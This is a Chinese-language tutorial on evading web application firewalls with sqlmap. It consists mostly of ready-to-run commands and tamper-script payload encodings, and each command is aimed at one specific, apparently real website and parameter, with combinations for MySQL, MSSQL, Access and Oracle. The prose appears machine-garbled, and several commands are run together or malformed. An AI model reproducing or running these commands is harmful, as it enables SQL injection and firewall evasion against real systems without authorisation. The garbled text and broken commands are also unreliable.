在此,也先容利用sqlmap 进行检测是否有WAF/IPS/IDS
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --thread 10 --identify-waf#首选
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --thread 10 --check-waf#备选
利用参数进行绕过
#利用任意浏览器进行绕过,尤其是在WAF配置不当的时候
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --random-agent -v 2
#利用长的延时来避免触发WAF的机制,这办法比较耗时

root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --delay=3.5 --time-sec=60
#利用代理进行注入
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --proxy=211.211.211.211:8080 --proxy-cred=211:985
#禁止利用系统的代理,直接连接进行注入
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --ignore-proxy
#清空会话,重构注入
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --flush-session
#或者利用参数 --no-cast ,进行字符码转换
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --hex
#对移动真个做事器进行注入
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --mobile
#匿名注入
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --tor
利用脚本进行绕过利用格式
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --tamper=A.py,B.py#脚本A,脚本B
脚本浸染apostrophemask.py#用utf8代替引号;
Example: ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
equaltolike.py#MSSQL SQLite中like 代替等号;
Example: Input: SELECT FROM users WHERE id=1 ;Output: SELECT FROM users WHERE id LIKE 1
greatest.py#MySQL中绕过过滤’>’ ,用GREATEST更换大于号;
Example: ('1 AND A > B') '1 AND GREATEST(A,B+1)=A'
space2hash.py#空格更换为#号 随机字符串 以及换行符;
Input: 1 AND 9227=9227;Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
apostrophenullencode.py#MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL绕过过滤双引号,更换字符和双引号;halfversionedmorekeywords.py#当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论;space2morehash.py#MySQL中空格更换为 #号 以及更多随机字符串 换行符;appendnullbyte.py#Microsoft Access在有效负荷结束位置加载零字节字符编码;
Example: ('1 AND 1=1') '1 AND 1=1%00'
ifnull2ifisnull.py#MySQL,SQLite (possibly),SAP MaxDB绕过对 IFNULL 过滤。 更换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’space2mssqlblank.py(mssql)#mssql空格更换为其它空符号base64encode.py#用base64编码
Example: ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' Requirement: all
space2mssqlhash.py#mssql查询中更换空格modsecurityversioned.py#(mysql中过滤空格,包含完全的查询版本注释;Example: ('1 AND 2>1--') '1 /!30874AND 2>1/--'space2mysqlblank.py#(mysql中空格更换其它空缺符号between.py#MS SQL 2005,MySQL 4, 5.0 and 5.5 Oracle 10g PostgreSQL 8.3, 8.4, 9.0中用between更换大于号(>)space2mysqldash.py#MySQL,MSSQL更换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)multiplespaces.py#环绕SQL关键字添加多个空格;
Example: ('1 UNION SELECT foobar') '1 UNION SELECT foobar'
space2plus.py#用+更换空格;
Example: ('SELECT id FROM users') 'SELECT+id+FROM+users'
bluecoat.py#MySQL 5.1, SGOS代替空格字符后与一个有效的随机空缺字符的SQL语句。 然后更换=为likenonrecursivereplacement.py#双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filtersspace2randomblank.py#代替空格字符(“”)从一个随机的空缺字符可选字符的有效集sp_password.py#追加sp_password’从DBMS日志的自动模糊处理的26 有效载荷的末端chardoubleencode.py#双url编码(不处理以编码的)unionalltounion.py#更换UNION ALL SELECT UNION SELECT;
Example: ('-1 UNION ALL SELECT') '-1 UNION SELECT'
charencode.py#Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0url编码;randomcase.py#Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0中随机大小写unmagicquotes.py#宽字符绕过 GPC addslashes;
Example: Input: 1′ AND 1=1 Output: 1%bf%27 AND 1=1–%20
randomcomments.py#用//分割sql关键字;
Example:‘INSERT’ becomes ‘IN//S//ERT’
charunicodeencode.py#ASP,ASP.NET中字符串 unicode 编码;securesphere.py#追加特制的字符串;Example: ('1 AND 1=1') "1 AND 1=1 and '0having'='0having'"versionedmorekeywords.py#MySQL >= 5.1.13注释绕过space2comment.py#Replaces space character (‘ ‘) with comments ‘//’halfversionedmorekeywords.py#MySQL < 5.1中关键字前加注释脚本参数组合策略绕过mysql绕过
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --random-agent -v 2 -delay=3.5 --tamper=space2hash.py,modsecurityversioned.pyroot@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --random-agent --hpp --tamper=space2mysqldash.p,versionedmorekeywords.pyroot@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" -delay=3.5 ----user-agent=" Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/38.0.696.12 Safari/534.24” --tamper=apostrophemask.py,equaltolike.py
备注:这些组合策略可以根据注入的反馈信息,及时调度组合策略
mssql绕过root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" -delay=3.5 ----user-agent=" Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/38.0.696.12 Safari/534.24” --tamper=randomcase.py,charencode.pyroot@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --delay=3.5 --hpp --tamper=space2comment.py,randomcase.pyroot@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --delay=3.5 --time-sec=120 --tamper=space2mssqlblank.py,securesphere.pyroot@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --delay=3.5 --tamper=unionalltounion.py,base64encode.p
access
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --delay=3.5 --random-agent --tamper=appendnullbyte.py,space2plus.pyroot@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --delay=3.5 --random-agent --hpp --tamper=chardoubleencode.py
Oracle
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --delay=5 --random-agent --hpp --tamper=unmagicquotes.py,unionalltounion.pyroot@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --delay=5--user-agent =“Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0” --hpp --tamper=charunicodeencode.py,chardoubleencode.py
思维导图
末了,感谢大家的不雅观看,感激大家的支持,能点赞关注最好啦!
如果文章有问题可以关注私信我互换变动,或在评论区互相交流。